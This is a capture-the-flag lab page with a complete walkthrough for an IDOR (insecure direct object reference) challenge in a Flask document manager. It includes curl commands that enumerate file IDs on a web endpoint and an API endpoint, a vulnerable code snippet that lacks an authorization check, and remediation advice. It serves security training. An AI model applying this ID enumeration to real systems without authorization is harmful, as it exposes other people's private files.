Avatar

Labs / IDOR Explorer

  • Daily Challenge
  • Released 22 Sep 2025

🔐 Can you access files that aren't meant for you?

This secure document management system thinks it can protect sensitive files with simple reference numbers. 📁 But experienced security researchers know that direct object references can be manipulated to access unauthorized resources! 🕵️ Master the art of parameter manipulation and discover how seemingly secure applications can leak sensitive information through predictable patterns. 🎯

1
Flags
1
Points
Daily Challenge
Pro Exclusive
Start Lab Environment
~1-2 min setup
AWS dedicated
Private instance
Industry standard
Daily Challenge

🔍 IDOR Explorer - Complete Solution

Objective: Exploit the Insecure Direct Object Reference (IDOR) vulnerability in the SecureFiles document management system to access unauthorized files and retrieve the flag through server-side parameter manipulation.
🔍 Step 1: Initial Application Analysis

Navigate to http:// to access the SecureFiles document management system. The main interface displays:

  • Welcome Message: "Welcome to SecureFiles - Your Personal Document Manager"
  • User Context: Currently logged in as "user123" with access to personal documents
  • File Listing: Three accessible documents with sequential IDs (1001, 1002, 1003)
  • Document Links: Each file has a "View" link with URL pattern: /view?file=XXXX
  • File Information: Document names, owners, and last modified dates are displayed

The application uses predictable numeric identifiers in the URL parameters, which is a classic indicator of potential IDOR vulnerabilities.

🔍 Step 2: Understanding the Server-Side Vulnerability

This is a real IDOR vulnerability with server-side authorization bypass. The Flask application checks if files exist but fails to verify if the current user has permission to access them:

# Vulnerable code pattern:
# if file_id not in FILES_DB:
# return error
# return FILES_DB[file_id] # Missing authorization check!

Key observations:

  • Sequential IDs: Files use consecutive numeric identifiers (1001, 1002, 1003)
  • Missing Authorization: Server only checks file existence, not user permissions
  • Direct Object Reference: Internal database IDs exposed in URLs
  • Predictable Pattern: Administrative files likely use lower ID numbers
🔍 Step 3: Testing Authorized Access

First, verify normal functionality by accessing the authorized files:

# Test authorized file access
curl "http:///view?file=1001"
curl "http:///view?file=1002"
curl "http:///view?file=1003"

Each authorized file returns:

  • HTTP 200 status code
  • Document content (personal files, meeting notes, project documents)
  • Owner shown as "user123" (matching current user)
  • No unauthorized access warnings
🔍 Step 4: IDOR Enumeration Strategy

Based on the sequential pattern (1001-1003), test adjacent and logical ID ranges:

# Test files before the authorized range
curl "http:///view?file=1000"
curl "http:///view?file=999"

# Test files after the authorized range
curl "http:///view?file=1004"
curl "http:///view?file=1005"

# Test administrative or system files
curl "http:///view?file=1"
curl "http:///view?file=100"
curl "http:///view?file=500"
🔍 Step 5: Identifying the IDOR Vulnerability

Through systematic enumeration, discover that file ID 1 returns different content:

curl "http:///view?file=1"

This request reveals:

  • Unauthorized Access Warning: Red banner indicating IDOR vulnerability detected
  • Administrative Document: "System Configuration - CONFIDENTIAL"
  • Owner Mismatch: File belongs to "admin" user, not "user123"
  • Server-Side Bypass: Application serves the file despite authorization failure
🔍 Step 6: Flag Extraction from Server Response

The administrative configuration file (ID: 1) contains the flag in the server-generated response:

SYSTEM CONFIGURATION FILE
========================
Application: SecureFiles v2.1
Owner: admin
Classification: CONFIDENTIAL

Security Settings:
- Authentication: Enabled
- Authorization: Basic ID-based (VULNERABLE!)
- Encryption: AES-256
- Audit Logging: Disabled

System Flag: [FLAG_UUID_HERE]

User Permissions:
- user123: files 1001-1003
- admin: files 1-100
- guest: files 2001-2100

The flag is clearly displayed in the "System Flag" field as a UUID format, served directly by the Flask application.

🔍 Step 7: Browser-Based Exploitation

The IDOR vulnerability can also be exploited through browser manipulation:

  1. Access any authorized file through the web interface
  2. Observe the URL: http:///view?file=1001
  3. Manually change the file parameter to 1 in the address bar
  4. Press Enter to navigate to: http:///view?file=1
  5. The browser displays the administrative configuration file with unauthorized access warning
  6. The flag is visible in the system configuration section
🔍 Step 8: API Endpoint Exploitation

The application also exposes an API endpoint with the same IDOR vulnerability:

# Test API endpoint
curl "http:///api/files?id=1"

# Returns JSON with file content including flag
{
"id": 1,
"title": "System Configuration - CONFIDENTIAL",
"owner": "admin",
"modified": "2025-09-15 09:00:00",
"content": "...System Flag: [FLAG_UUID_HERE]..."
}
🔍 Step 9: Server-Side Logging Analysis

The Flask application logs unauthorized access attempts, which would be visible in server logs:

[SECURITY LOG] User 'user123' accessed file 1 owned by 'admin'

This demonstrates how IDOR vulnerabilities can be detected through proper logging and monitoring.

🔍 Real IDOR Vulnerability Analysis

This challenge demonstrates a genuine server-side IDOR vulnerability:

Vulnerability Details:
  • Server-Side Flaw: Missing authorization checks in Flask application
  • Direct Database Access: File IDs map directly to database records
  • Predictable References: Sequential numeric identifiers
  • Authorization Bypass: User permissions not enforced
Attack Vectors:
  • URL Parameter Manipulation: Direct file ID modification
  • API Endpoint Abuse: JSON API with same vulnerability
  • Automated Enumeration: Script-based ID testing
  • Burp Suite Integration: Professional tool automation
🛡️ Security Implications and Remediation
Security Risks:
  • Unauthorized data access
  • Administrative privilege escalation
  • Sensitive information disclosure
  • Compliance violations
Remediation Strategies:
  • Implement proper authorization middleware
  • Use UUIDs instead of sequential IDs
  • Add user permission validation
  • Implement access control lists (ACLs)
📚 Key Learning Points
  • Real IDOR Understanding: Server-side authorization bypass vs client-side display logic
  • Systematic Enumeration: Methodical testing of ID ranges and patterns
  • Authorization vs Authentication: Understanding the critical difference
  • Multi-Vector Testing: Web interface, API endpoints, and direct requests
  • Security Logging: Importance of monitoring and detecting unauthorized access
Real-World Context: This challenge represents a genuine IDOR vulnerability commonly found in production applications. Unlike client-side display issues, this server-side flaw actually bypasses authorization controls, making it a critical security vulnerability. Professional penetration testers regularly discover these issues in web applications, APIs, and mobile backends where developers fail to implement proper authorization checks on server-side resources.